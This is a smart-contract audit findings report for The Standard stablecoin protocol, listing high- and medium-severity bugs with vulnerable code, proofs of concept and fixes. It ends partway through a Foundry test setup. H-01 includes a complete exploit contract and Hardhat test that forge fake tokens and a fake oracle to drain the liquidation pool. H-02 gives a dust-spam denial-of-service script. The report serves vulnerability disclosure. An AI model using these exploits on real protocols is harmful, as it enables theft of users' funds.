The Standard - Findings Report

Table of contents

Contest Summary

Sponsor: The Standard

Dates: Dec 27th, 2023 - Jan 10th, 2024

more contest details

Results Summary

Number of findings:

  • High: 4
  • Medium: 10
  • Low: 14

High Risk Findings

H-01. Rewards can be drained because of lack of access control

Submitted by heavenz52, ptsanev, Mlome, 0x9527, iamandreiski, sec305842, y4y, Phantomsands, haxatron, ke1caM, dopeflamingo, nuthan2x, georgishishkov, ACai, Cosine, 0xlemon, spacelord47, 0xloscar01, zigtur, pengun, 0xAraj, abhishekthakur, 0xAsen, dimulski, 13u9, shikhar229169, thankyou, NentoR, MahdiKarimi, XORs33r, matej, 00xSEV, atlanticbase, pep7siup, t0x1c, asuiTouthang, Greed, carlitox477, Aamirusmani1552, 0xrs, greatlake, al88nsk, juan, DarkTower , bhilare71, 0xgreywolf, anjalit, stakog, n0kto, honorlt, MaslarovK, ak1, nervouspika, 0xAadhi, PTolev, Tricko, neocrao, dipp, Ryonen, 0xsandy, gkrastenov, abiih, 0xaman, billoBaggeBilleyan, Ciara and Gio, KiteWeb3, SanketKogekar, Rsam. Selected submission by: Mlome.

Relevant GitHub Links

https://github.com/Mylifechangefast/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L205-L241

Summary

The protocol implements a Liquidation Pool to collect the results of Vault Liquidations. The collected assets are shared between the stakers who invested in the pool. However, the function performing the reward distribution can be called by anyone and the rewards can be manipulated by a specially crafted payload, resulting in all rewards being stollen by a malicious actor.

Vulnerability Details

To liquidate a vault the users should call the runLiquidation() function of the LiquidationPoolManager which internally calls the distributeAssets() function of the LiquidationPool. The problem is that we can call the distributeAssets() directly with any payload and a malicious list of Assets.

Here is the affected code:

File: LiquidationPool.sol

205: function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
        consolidatePendingStakes();
        (,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
        uint256 stakeTotal = getStakeTotal();
        uint256 burnEuros;
        uint256 nativePurchased;
        for (uint256 j = 0; j < holders.length; j++) {
            Position memory _position = positions[holders[j]];
            uint256 _positionStake = stake(_position);
            if (_positionStake > 0) {
                for (uint256 i = 0; i < _assets.length; i++) {
                    ILiquidationPoolManager.Asset memory asset = _assets[i];
                    if (asset.amount > 0) {
                        (,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
                        uint256 _portion = asset.amount * _positionStake / stakeTotal;
                        uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
                            * _hundredPC / _collateralRate;
                        if (costInEuros > _position.EUROs) {
                            _portion = _portion * _position.EUROs / costInEuros;
                            costInEuros = _position.EUROs;
                        }
                        _position.EUROs -= costInEuros;
                        rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
                        burnEuros += costInEuros;
                        if (asset.token.addr == address(0)) {
                            nativePurchased += _portion;
                        } else {
                            IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
                        }
                    }
                }
            }
            positions[holders[j]] = _position;
        }
        if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
        returnUnpurchasedNative(_assets, nativePurchased);
    }

https://github.com/Mylifechangefast/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L205-L241

Impact

An attacker who only invested a tiny amount into the pool can claim 100% of the rewards.

Proof Of Concept

Here is a Hardhat test you can add to test/liquidationPoolManager.js in describe('LiquidationPoolManager'... to demonstrate the exploit:

describe('EXPLOIT', async () => {
    it('Exploits Liquidation Pool and get all the rewards', async () => {
      const attacker = holder3;
      const ethCollateral = ethers.utils.parseEther('0.5');
      const wbtcCollateral = BigNumber.from(1_000_000);
      const usdcCollateral = BigNumber.from(500_000_000);
      // create some funds to be "liquidated"
      await holder5.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
      await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
      await USDC.mint(SmartVaultManager.address, usdcCollateral);

      // holder1 stakes some funds
      const tstStake1 = ethers.utils.parseEther('1000');
      const eurosStake1 = ethers.utils.parseEther('2000');
      await TST.mint(holder1.address, tstStake1);
      await EUROs.mint(holder1.address, eurosStake1);
      await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
      await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
      await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)

      // holder2 stakes some funds
      const tstStake2 = ethers.utils.parseEther('4000');
      const eurosStake2 = ethers.utils.parseEther('3000');
      await TST.mint(holder2.address, tstStake2);
      await EUROs.mint(holder2.address, eurosStake2);
      await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
      await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake2);
      await LiquidationPool.connect(holder2).increasePosition(tstStake2, eurosStake2);

      // attacker stakes a tiny bit of funds
      const tstStake3 = ethers.utils.parseEther('1');
      const eurosStake3 = ethers.utils.parseEther('1');
      await TST.mint(attacker.address, tstStake3);
      await EUROs.mint(attacker.address, eurosStake3);
      await TST.connect(attacker).approve(LiquidationPool.address, tstStake3);
      await EUROs.connect(attacker).approve(LiquidationPool.address, eurosStake3);
      await LiquidationPool.connect(attacker).increasePosition(tstStake3, eurosStake3);

      await fastForward(DAY);
      
      // Some liquidation happens
      await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).not.to.be.reverted;

      // staker 1 has 1000 stake value
      // staker 2 has 3000 stake value
      // attacker has 1 stake value
      // ~25% should go to staker 1, ~75% to staker 2, ~0% should go to attacker
      
      // EPLOIT STARTS HERE
      console.log("[Before exploit] Attacker balance:");                           // [Before exploit] Attacker balance:
      console.log("ETH = %s", await ethers.provider.getBalance(attacker.address)); // ETH = 9999999683015393765405
      console.log("WBTC = %s", await WBTC.balanceOf(attacker.address));            // WBTC = 0
      console.log("USDC = %s", await USDC.balanceOf(attacker.address));            // USDC = 0
      console.log("[Before exploit] LiquidationPool balance:");                           // [Before exploit] LiquidationPool balance:
      console.log("ETH = %s", await ethers.provider.getBalance(LiquidationPool.address)); // ETH = 499999999999999999
      console.log("WBTC = %s", await WBTC.balanceOf(LiquidationPool.address));            // WBTC = 999998
      console.log("USDC = %s", await USDC.balanceOf(LiquidationPool.address));            //USDC = 499999998

      // First claim to reset the rewards of the attacker and make calculations easier
      await LiquidationPool.connect(attacker).claimRewards();
      // Deploy exploit contract and execute attack
      let ExploitFactory = await ethers.getContractFactory('DistributeAssetsExploit');
      let ExploitContract = await ExploitFactory.connect(attacker).deploy(LiquidationPool.address);
      await ExploitContract.connect(attacker).exploit(
        attacker.address, WBTC.address, USDC.address
      );
      // Claim inflated rewards to drain the pool
      await LiquidationPool.connect(attacker).claimRewards();

      console.log("\n\n[After exploit] Attacker balance:");                        // [After exploit] Attacker balance:
      console.log("ETH = %s", await ethers.provider.getBalance(attacker.address)); // ETH = 10000497924381243468675
      console.log("WBTC = %s", await WBTC.balanceOf(attacker.address));            // WBTC = 999997
      console.log("USDC = %s", await USDC.balanceOf(attacker.address));            // USDC = 499999997
      console.log("[After exploit] LiquidationPool balance:");                            // [After exploit] LiquidationPool balance:
      console.log("ETH = %s", await ethers.provider.getBalance(LiquidationPool.address)); // ETH = 1
      console.log("WBTC = %s", await WBTC.balanceOf(LiquidationPool.address));            // WBTC = 1
      console.log("USDC = %s", await USDC.balanceOf(LiquidationPool.address));            //USDC = 1
    });
  });

Here is the exploit contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILiquidationPool {
    function distributeAssets(DistributeAssetsExploit.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
    function holders(uint256) external view returns (address);
    function position(address _holder) external view returns(DistributeAssetsExploit.Position memory _position, DistributeAssetsExploit.Reward[] memory _rewards);
}

contract DistributeAssetsExploit {
    ILiquidationPool liquidationPool;

    struct Reward { bytes32 symbol; uint256 amount; uint8 dec; }
    struct Position {  address holder; uint256 TST; uint256 EUROs; }
    struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
    struct Asset { Token token; uint256 amount; }
    constructor(address _liquidationPool)
    {
        liquidationPool = ILiquidationPool(_liquidationPool);
    }

    // This exploits the liquidationPool distributeAssets() function by crafting fake Tokens wrapped in Assets
    // that bypasses all the checks and allows to get an inflated reward.
    // The calculation of the amountETH, amountWBTC and amountUSDC are calculated to precisely and completely
    // drain the pool.
    // The values tagged as "foo" could be any value and are not important in the exploit
    function exploit(address attacker, address _wbtc, address _usdc) external
    {
        uint256 stakeTotal = getStakeTotal();
        uint256 attackerStake = getOneStake(attacker);
        Asset[] memory assets = new Asset[](3);
        // Forge fake tokens with token.clAddr and token.addr as address(this)
        address clAddr = address(this);
        address tokenAddr = address(this);
        uint256 ethBalance = address(liquidationPool).balance;
        uint256 wbtcBalance = IERC20(_wbtc).balanceOf(address(liquidationPool));
        uint256 usdcBalance = IERC20(_usdc).balanceOf(address(liquidationPool));
        Token memory tokenETH = Token('ETH', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
        Token memory tokenWBTC = Token('WBTC', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
        Token memory tokenUSDC = Token('USDC', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
        uint256 amountETH = ethBalance * stakeTotal / attackerStake;
        uint256 amountWBTC = wbtcBalance * stakeTotal / attackerStake;
        uint256 amountUSDC = usdcBalance * stakeTotal / attackerStake;
        assets[0] = Asset(tokenETH, amountETH);
        assets[1] = Asset(tokenWBTC, amountWBTC);
        assets[2] = Asset(tokenUSDC, amountUSDC);
        uint256 collateralRate = 1; // foo
        uint256 hundredPC = 0; // --> costInEuros will be 0
        liquidationPool.distributeAssets(assets, collateralRate, hundredPC);
    }

    // Fake Chainlink.AggregatorV3Interface
    function latestRoundData() external pure returns (
      uint80 roundId,
      int256 answer,
      uint256 startedAt,
      uint256 updatedAt,
      uint80 answeredInRound
    )
    {
        answer = 0; // foo
    }

    // Simulate ERC20 token to bypass token transfer from manager contract
    function transferFrom(address, address, uint256) external pure returns (bool)
    {
        return true;
    }

    // Helper functions to compute the precise amount to completely drain the pool
    function getStakeTotal() private view returns (uint256 _stakes) {
        for (uint256 i = 0; i < 3; i++)
        {
            _stakes += getOneStake(liquidationPool.holders(i));
        }
    }

    function getOneStake(address holder) private view returns (uint256 _stake)
    {
        (Position memory _position, ) = liquidationPool.position(holder);
        _stake = stake(_position);
    }

    function stake(Position memory _position) private pure returns (uint256) {
        return _position.TST > _position.EUROs ? _position.EUROs : _position.TST;
    }
}

Tools Used

Manual review + Hardhat

Recommendations

Add the onlyManager modifier to the distributeAssets() function.

H-02. Looping over unbounded pendingStakes array can lead to permanent DoS and frozen funds

Submitted by ICP, heavenz52, ptsanev, 0x9527, Phantomsands, nmirchev8, RSecurity, carrotsmuggler, haxatron, Bbash, ke1caM, aslanbek, dopeflamingo, 0xlemon, zigtur, alexbabits, nuthan2x, Bauer, pengun, georgishishkov, emacab98, Cosine, 0xAsen, Timenov, spacelord47, dimulski, JrNet, mahdiRostami, lian886, Auditism, mojitoauditor, 0xbtk, 0xepley, Aamirusmani1552, datamcrypto, shikhar229169, 0xCiphky, dianivanov, darksnow, dyoff, NentoR, matej, 0xmuxyz, 00xSEV, 0xBinChook, Joshuajee, KrisRenZo, charlesCheerful, cats, SovaSlava, PTolev, emrekocak, zadev, 0xanmol, carlitox477, khramov, bbl4de, yangitbal, 0xAadhi, t0x1c, favelanky, SAAJ, EVDocPhantom, agadzhalov, chainNue, Aitor, 0xrs, honorlt, ak1, 0xLuckyLuke, Ryonen, 0xnightfall, ElHaj, gkrastenov, syahirAmali, 0xVinylDavyl, dipp, sonny2k, MahdiKarimi, slvDev, Tripathi, Ward, Ciara and Gio, pontifex, SanketKogekar, turvyfuzz, 0xk3y, FalconHoof. Selected submission by: Cosine.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L140

Summary

The increasePosition function inside the LiquidationPool contract can be used by stakers to increase their stake. The stake is not increased instantly, but instead the request to do so is pushed into a pendingStakes array, which acts as a queue to increase the stake and waits there for at least 24 hours before the stake is increased. This is done to reduce MEV opportunities. The system loops over this array a lot, and there are no mechanisms implemented to reduce the chances of running into the block gas limit. This can lead to a DoS and frozen funds.

Vulnerability Details

There are no minimum checks implemented for the increasePosition function, therefore the pendingStakes array can be spammed with dust amounts:

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
    require(_tstVal > 0 || _eurosVal > 0);
    consolidatePendingStakes();
    ILiquidationPoolManager(manager).distributeFees();
    if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
    if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
    pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
    addUniqueHolder(msg.sender);
}

The decreasePosition function is used to reduce the stake and get the funds out of the contract. It loops up to three times over the pendingStakes array:

  1. By calling consolidatePendingStakes
  2. As consolidatePendingStakes calls deletePendingStake
  3. By calling distributeFees

It will also loop up to two times over the holders array, which is also from arbitrary length and can be spammed, but this is a known issue.

Therefore, if the pendingStakes array is very big, the block gas limit will be reached and users are not able to get their funds out of the contract.

Here we can see the decreasePosition function flow:

function decreasePosition(uint256 _tstVal, uint256 _eurosVal) external {
    consolidatePendingStakes();
    ILiquidationPoolManager(manager).distributeFees();
    require(_tstVal <= positions[msg.sender].TST && _eurosVal <= positions[msg.sender].EUROs, "invalid-decr-amount");
    if (_tstVal > 0) {
        IERC20(TST).safeTransfer(msg.sender, _tstVal);
        positions[msg.sender].TST -= _tstVal;
    }
    if (_eurosVal > 0) {
        IERC20(EUROs).safeTransfer(msg.sender, _eurosVal);
        positions[msg.sender].EUROs -= _eurosVal;
    }
    if (empty(positions[msg.sender])) deletePosition(positions[msg.sender]);
}

function consolidatePendingStakes() private {
    uint256 deadline = block.timestamp - 1 days;
    for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
        PendingStake memory _stake = pendingStakes[uint256(i)];
        if (_stake.createdAt < deadline) {
            positions[_stake.holder].holder = _stake.holder;
            positions[_stake.holder].TST += _stake.TST;
            positions[_stake.holder].EUROs += _stake.EUROs;
            deletePendingStake(uint256(i));
            // pause iterating on loop because there has been a deletion. "next" item has same index
            i--;
        }
    }
}

function deletePendingStake(uint256 _i) private {
    for (uint256 i = _i; i < pendingStakes.length - 1; i++) {
        pendingStakes[i] = pendingStakes[i+1];
    }
    pendingStakes.pop();
}

function distributeFees(uint256 _amount) external onlyManager {
    uint256 tstTotal = getTstTotal();
    if (tstTotal > 0) {
        IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _amount);
        for (uint256 i = 0; i < holders.length; i++) {
            address _holder = holders[i];
            positions[_holder].EUROs += _amount * positions[_holder].TST / tstTotal;
        }
        for (uint256 i = 0; i < pendingStakes.length; i++) {
            pendingStakes[i].EUROs += _amount * pendingStakes[i].TST / tstTotal;
        }
    }
}

The following POC can be implemented in the liquidationPool test file and showcases that the pendingStakes array can be filled up with dust amounts and therefore a loop over it can hit the block gas limit:

describe("pendingStakes_DoS", async () => {
    it("pendingStakes_DoS", async () => {
      const balance = ethers.utils.parseEther("5000");

      await EUROs.mint(user1.address, balance);
      await EUROs.approve(LiquidationPool.address, balance);

      // pendingStakes array can be spammed with 1 wei of EUROs
      for (let i = 0; i < 100; i++) {
        let increase = LiquidationPool.increasePosition(0, 1);
        await expect(increase).not.to.be.reverted;
      }
    });
});

As already mentioned (but known) it also loops over the holders array and therefore this griefing attack can be improved by pushing dust amounts into the pendingStakes array with a different EOA on every call.

As we can see, funds are stuck inside this array and there is only one way to reduce the size of this array, again the consolidatePendingStakes function, showcased above. This function also loops over the pendingStakes array and therefore if the size of that array grows too big it will also hit the block gas limit. This makes a permanent DoS and stuck funds possible. The griefer just needs to push into dust amounts into the pendingStakes array by calling increasePosition till it reverts because of the block gas limit, as we can see here:

function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
    require(_tstVal > 0 || _eurosVal > 0);
    consolidatePendingStakes();
    ILiquidationPoolManager(manager).distributeFees();
    if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
    if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
    pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
    addUniqueHolder(msg.sender);
}

function consolidatePendingStakes() private {
    uint256 deadline = block.timestamp - 1 days;
    for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
        PendingStake memory _stake = pendingStakes[uint256(i)];
        if (_stake.createdAt < deadline) {
            positions[_stake.holder].holder = _stake.holder;
            positions[_stake.holder].TST += _stake.TST;
            positions[_stake.holder].EUROs += _stake.EUROs;
            deletePendingStake(uint256(i));
            // pause iterating on loop because there has been a deletion. "next" item has same index
            i--;
        }
    }
}

Impact

Permanent DoS and frozen funds.

Recommendations

The best practice would be to not use arrays and instead handle it with mapping and math. But there are a few things that can be done to reduce the chances of running into the block gas limit, with the current design:

  • Add a minimum check for the increasePosition function
  • Make the consolidatePendingStakes function externally callable as currently it is private and only callable by calling other functions which waste further gas
  • allow calling specific pendingStakes indices
  • Try to decrease the amount of loops over the pendingStakes array

H-03. swap fees going to the liquidation pool manager contract will be accounted for as part of the liquidation amount

Submitted by rvierdiiev, 0xCiphky, pontifex. Selected submission by: 0xCiphky.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L214

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L196

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L190

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPoolManager.sol#L59

Summary:

In the protocol, users can create Smart Vaults to deposit collateral and borrow EURO stablecoins. They also have the option to swap collateral types, incurring a swap fee that is transferred to the LiquidationPoolManager contract. A issue arises because these swap fees, meant for the protocol, are incorrectly included in the liquidation amounts.

Vulnerability Details:

The SmartVaultV3 contract's swap function charges a fee for each collateral swap. This fee is forwarded to the LiquidationPoolManager contract via either the executeNativeSwapAndFee or executeERC20SwapAndFee function.

function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
        uint256 swapFee =
            _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        ...
        inToken == ISmartVaultManagerV3(manager).weth()
            ? executeNativeSwapAndFee(params, swapFee)
            : executeERC20SwapAndFee(params, swapFee);
    }

These functions transfer the collected swap fee to the LiquidationPoolManager:

function executeNativeSwapAndFee(ISwapRouter.ExactInputSingleParams memory _params, uint256 _swapFee) private {
        (bool sent,) = payable(ISmartVaultManagerV3(manager).protocol()).call{value: _swapFee}("");
        require(sent, "err-swap-fee-native");
        ...
    }

function executeERC20SwapAndFee(ISwapRouter.ExactInputSingleParams memory _params, uint256 _swapFee) private {
        IERC20(_params.tokenIn).safeTransfer(ISmartVaultManagerV3(manager).protocol(), _swapFee);
        ...
    }

The issue emerges as swap fees accumulate in the LiquidationPoolManager contract and are erroneously considered as part of the liquidation assets.

Specifically, the runLiquidation function within the LiquidationPoolManager contract, triggered during a liquidation event, assesses the liquidated assets' value using the balanceOf function. This will include the swap fees in its calculation, thus conflating them with the liquidation assets.

function runLiquidation(uint256 _tokenId) external {
        ...
        ITokenManager.Token[] memory tokens = ITokenManager(manager.tokenManager()).getAcceptedTokens();
        ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
        uint256 ethBalance;
        for (uint256 i = 0; i < tokens.length; i++) {
            ITokenManager.Token memory token = tokens[i];
            if (token.addr == address(0)) {
                ethBalance = address(this).balance;
                if (ethBalance > 0) assets[i] = ILiquidationPoolManager.Asset(token, ethBalance);
            } else {
                IERC20 ierc20 = IERC20(token.addr);
                uint256 erc20balance = ierc20.balanceOf(address(this));
                if (erc20balance > 0) {
                    assets[i] = ILiquidationPoolManager.Asset(token, erc20balance);
                    ierc20.approve(pool, erc20balance);
                }
            }
        }
        LiquidationPool(pool).distributeAssets{value: ethBalance}(assets, manager.collateralRate(), manager.HUNDRED_PC());
        ...
    }

As a result, swap fees are inadvertently treated as part of the liquidated assets and are distributed during the liquidation process, leading to an incorrect allocation of funds.

Impact:

This miscalculation leads to the unintended distribution of swap fees as part of liquidated assets causing losses to the protocol. Furthermore, an incorrectly inflated liquidation amount can disrupt the protocol's accounting balance and potentially give rise to further complications.

Tools Used:

Manual analysis

Recommendation:

One solution is to transfer these fees to a different address, ensuring they are not mistakenly included in liquidation distributions.

H-04. Malicious users can honeypot other users by minting all the EURO tokens that the vault's collateralRate allows right before sale

Submitted by dimulski, matej. Selected submission by: dimulski.

Summary

Each smart vault is represented by an NFT that is owned inittialy by the user who minted it by calling the mint() function in SmartVaultManagerV5.sol contract:

function mint() external returns (address vault, uint256 tokenId) {
        tokenId = lastToken + 1;
        _safeMint(msg.sender, tokenId);
        lastToken = tokenId;
        vault = ISmartVaultDeployer(smartVaultDeployer).deploy(address(this), msg.sender, euros);
        smartVaultIndex.addVaultAddress(tokenId, payable(vault));
        IEUROs(euros).grantRole(IEUROs(euros).MINTER_ROLE(), vault);
        IEUROs(euros).grantRole(IEUROs(euros).BURNER_ROLE(), vault);
        emit VaultDeployed(vault, msg.sender, euros, tokenId);
    }

As per the whitepaper: Vault NFT: A cutting-edge NFT representing the key attached to the Smart Vault. This NFT allows users to sell their Smart Vault collateral and debt on OpenSea or other reputable NFT marketplaces. The NFT's ownership grants control over the Smart Vault. If the NFT is put for sale and has an amount of EURO that can be minted, without the buyer having to provide additional collateral a malicious user can front run the buyer transaction to buy the NFT and mint all the EURO that the collateralRate of the vault allows, and still receive the price paid by the buyer for the NFT.

Vulnerability Details

If for example the smart vault is overcollateralized and the owner can still mint 1000 EUROs and he has put the NFT for sale for $800 he can front run the buy transaction from the buyer and mint the 1000 EUROs, and still receive the $800 paid by the pair for the NFT.

  1. User A owns Smart Vault 1
  2. Smart Vault 1 has enough collateral to mint 1000 EUROs
  3. User A lists Smart Vault 1 for $800
  4. User B buys Smart Vault 1
  5. User A sees the transaction in the mempool and quickly front runs it in order to mint 1000 EUROs
  6. User A mints additional 1000 EUROs and User B now has a vault that can't mint any EUROs without additional collateral being provided

Impact

Malicious users can honeypot other users

Tools Used

Manual review

Recommendations

Consider implementing a mechanism where the owner of the vault is required to pause all interactions if he puts the vault represented by an NFT for sale.

Medium Risk Findings

M-01. Users can not remove some amount of collateral from contract because of wrong implementation of "canRemoveCollateral()"

Submitted by 0xAraj, mojitoauditor, matej, shikhar229169, 00xSEV, 0xrs, stakog, Kose, Tripathi, neocrao, Ciara and Gio, DarkTower . Selected submission by: Kose.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol/#L127-L133

Summary

When users want to remove significant amount of collateral (not all) from protocol, they fail to do so because of wrong check in canRemoveCollateral() function.

Vulnerability Details

canRemoveCollateral() function returns boolean that indicate if user can remove some amount of collateral. This function is wrongly implemented because it checks maxMintable >= euroValueToRemove It is a wrong implementation because "maxMintable()" function returns how much euros can user mint with given collateral as such:

    function maxMintable() public view returns (uint256) {
        return euroCollateral() * ISmartVaultManagerV3(manager).HUNDRED_PC() / ISmartVaultManagerV3(manager).collateralRate();
    }

But in an edge case if user wants to remove most of their collateral without going into the liquidation area, they will encounter an "undercollateralized" even when they are not because the following check in canRemoveCollateral() will fail:

    function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
        if (minted == 0) return true;
        uint256 currentMintable = maxMintable();
        uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
        return currentMintable >= eurValueToRemove &&
            minted <= currentMintable - eurValueToRemove;
    }

This can be best explained with a test. Lets dive into it: Test Setup:

After npm installation,

1 - run "forge init --force" in the "2023-12-the-standard" folder. (Assuming you have git cloned the repo)

2 - Create remappings.txt in the root folder with following content:

@forge-std/=lib/forge-std/
@openzeppelin/=node_modules/@openzeppelin/
@chainlink/=node_modules/@chainlink/

3 - foundry.toml should look like this:

[profile.default]
src = 'contracts'
out = 'out'
libs = ['node_modules', 'lib']
test = 'test/foundry/'
cache_path  = 'cache_forge'

4 - Inside the test folder (where hardhat tests are) create a folder "foundry" and inside that folder create a file "SmartVault.t.sol" and paste the following setup inside:

pragma solidity 0.8.17;

import {Test, console2} from "forge-std/Test.sol";
import {ERC20Mock} from "../../contracts/utils/ERC20Mock.sol";
import {EUROsMock} from "../../contracts/utils/EUROsMock.sol";
import {ChainlinkMock} from "../../contracts/utils/ChainlinkMock.sol";
import {SmartVaultManagerV5} from "../../contracts/SmartVaultManagerV5.sol";
import {SmartVaultV3} from "../../contracts/SmartVaultV3.sol";
import {PriceCalculator} from "../../contracts/utils/PriceCalculator.sol";
import {SmartVaultDeployerV3} from "../../contracts/utils/SmartVaultDeployerV3.sol";
import {TokenManagerMock} from "../../contracts/utils/TokenManagerMock.sol";
import {SmartVaultManager} from "../../contracts/utils/SmartVaultManager.sol";
import {TransparentUpgradeableProxy, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import {NFTMetadataGenerator} from "../../contracts/utils/nfts/NFTMetadataGenerator.sol";
import {SmartVaultIndex} from "../../contracts/utils/SmartVaultIndex.sol";
import {LiquidationPoolManager} from "../../contracts/LiquidationPoolManager.sol";
import {LiquidationPool} from "../../contracts/LiquidationPool.sol";
import {SwapRouterMock} from "../../contracts/utils/SwapRouterMock.sol";
import {ILiquidationPoolManager} from "../../contracts/interfaces/ILiquidationPoolManager.sol";
import {ITokenManager} from "../../contracts/interfaces/ITokenManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract SmartVaultV3Test is Test{
    address public deployer = vm.addr(1);
    address public alice = makeAddr("alice");
    address public bob = makeAddr("bob");
    address public john = makeAddr("john");
    address public attacker = makeAddr("attacker");
    address public treasury = vm.addr(4);
    ERC20Mock public TST;
    ERC20Mock public WBTC;
    EUROsMock public EURO;
    ChainlinkMock public ClEthUsd;
    ChainlinkMock public ClEurUsd;
    ChainlinkMock public ClWbtcUsd;
    SmartVaultManagerV5 public vaultManagerV5;
    SmartVaultManagerV5 public vaultManagerV5Instance;
    address public vaultAddress;
    SmartVaultV3 public vault;
    SmartVaultDeployerV3 public vaultDeployer;
    string public ETH = "ETH";
    bytes32 public ethBytes32;
    TokenManagerMock public tokenManager;
    SmartVaultManager public vaultManagerFirstImplementation;
    TransparentUpgradeableProxy public proxy;
    ProxyAdmin public proxyAdmin;
    SmartVaultManager public vaultManagerFirstImplementationProxiedInstance;
    NFTMetadataGenerator public nftMetadataGenerator;
    SmartVaultIndex public smartVaultIndex;
    LiquidationPoolManager public liquidationPoolManager;
    LiquidationPool public liquidationPool;
    SwapRouterMock public swapRouterMock;

    function stringToBytes32(string memory source) public pure returns (bytes32 result) {
        bytes memory tempEmptyStringTest = bytes(source);
        if (tempEmptyStringTest.length == 0) {
            return 0x0;
        }

        assembly {
            result := mload(add(source, 32))
        }
    }

    function setUp() public {
        vm.startPrank(deployer);
        TST = new ERC20Mock("The Standard Token", "TST", 18);
        WBTC = new ERC20Mock("Wrapped BTC", "WBTC", 8);
        EURO = new EUROsMock();
        skip(5 hours);

        /// @notice set up chainlink mock price feeds
        ClEthUsd = new ChainlinkMock("ETH / USD");
        ClEthUsd.setPrice(237538000000);
        ClEurUsd = new ChainlinkMock("EUR / USD");
        ClEurUsd.setPrice(109586000);
        ClWbtcUsd = new ChainlinkMock("WBTC / USD");
        ClWbtcUsd.setPrice(4411586000000);

        /// @notice deploy vaultManagerV5 proxy contract
        vaultManagerFirstImplementation = new SmartVaultManager();
        nftMetadataGenerator = new NFTMetadataGenerator();
        smartVaultIndex = new SmartVaultIndex();
        ethBytes32 = stringToBytes32(ETH);
        vaultDeployer = new SmartVaultDeployerV3(ethBytes32, address(ClEurUsd));
        tokenManager = new TokenManagerMock(ethBytes32, address(ClEthUsd));
        tokenManager.addAcceptedToken(address(WBTC), address(ClWbtcUsd));
        bytes memory setUpData = abi.encodeWithSignature(
            "initialize(uint256,uint256,address,address,address,address,address,address,address)", 
            110000, 
            500, // mintFeeRate and burnFeeRate
            address(EURO), 
            address(0), // protocol
            address(0), // liquidator
            address(tokenManager), 
            address(vaultDeployer), 
            address(smartVaultIndex), 
            address(nftMetadataGenerator)
        );

        proxyAdmin = new ProxyAdmin();
        proxy = new TransparentUpgradeableProxy(address(vaultManagerFirstImplementation), address(proxyAdmin), setUpData);
        vaultManagerFirstImplementationProxiedInstance = SmartVaultManager(address(proxy));
        vaultManagerV5 = new SmartVaultManagerV5();
        proxyAdmin.upgrade(ITransparentUpgradeableProxy(address(proxy)), address(vaultManagerV5));
        vaultManagerV5Instance = SmartVaultManagerV5(address(proxy));

        /// @notice deploy liquidationPoolManager and liquidationPool (it is deployed inside liquidationPoolManager)
